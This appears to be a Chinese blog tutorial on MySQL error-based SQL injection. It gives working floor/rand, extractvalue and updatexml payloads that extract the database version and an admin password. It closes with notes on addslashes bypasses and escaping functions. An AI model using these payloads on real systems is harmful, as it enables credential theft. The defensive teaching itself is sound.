mysql数据中常用注入错模式利用详解
1、通过floor报错
可以通过如下一些利用代码
代码如下 | |
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); |
举例如下:
首先进行正常查询:
代码如下 | |
mysql> select * from article where id = 1; +----+-------+---------+ | id | title | content | +----+-------+---------+ | 1 | test | do it | |
+----+-------+---------+
假如id输入存在注入的话,可以通过如下语句进行报错。
代码如下 | |
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); |
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码:
代码如下 | |
Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a); Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2))); |
2、ExtractValue
测试语句如下
代码如下 | |
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); |
实际测试过程
代码如下 | |
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));-- 3、UpdateXml |
测试语句
代码如下 | |
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) |
实际测试过程
代码如下 | |
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1)); |
我们知道了注入原因
虽然国内很多PHP程序员仍在依靠addslashes防止SQL注入,还是建议大家加强中文防止SQL注入的检查。addslashes的问题在于黑客可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,成为一个有效的多字节字符,其中的0xbf5c仍会被看作是单引号,所以addslashes无法成功拦截。
当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。
另外对于php手册中get_magic_quotes_gpc的举例:
代码如下 | |
if (!get_magic_quotes_gpc()) { $lastname = addslashes($_POST[‘lastname’]); } else { $lastname = $_POST[‘lastname’]; } |
最好对magic_quotes_gpc已经开放的情况下,还是对$_POST[’lastname’]进行检查一下。
再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别:
mysql_real_escape_string 必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用。否则只能用 mysql_escape_string ,两者的区别是:mysql_real_escape_string 考虑到连接的当前字符集,而mysql_escape_string 不考虑。
总结一下:
* addslashes() 是强行加;
* mysql_real_escape_string() 会判断字符集,但是对PHP版本有要求;
* mysql_escape_string不考虑连接的当前字符集。
* 对于任何提交过来的数据我们都进行过滤,同时对于id注入我们直接使用intval( id )进行判断过滤
关于更详细的mysql防注入方法可参考此文章:http://www.111cn.net/database/110/32854.htm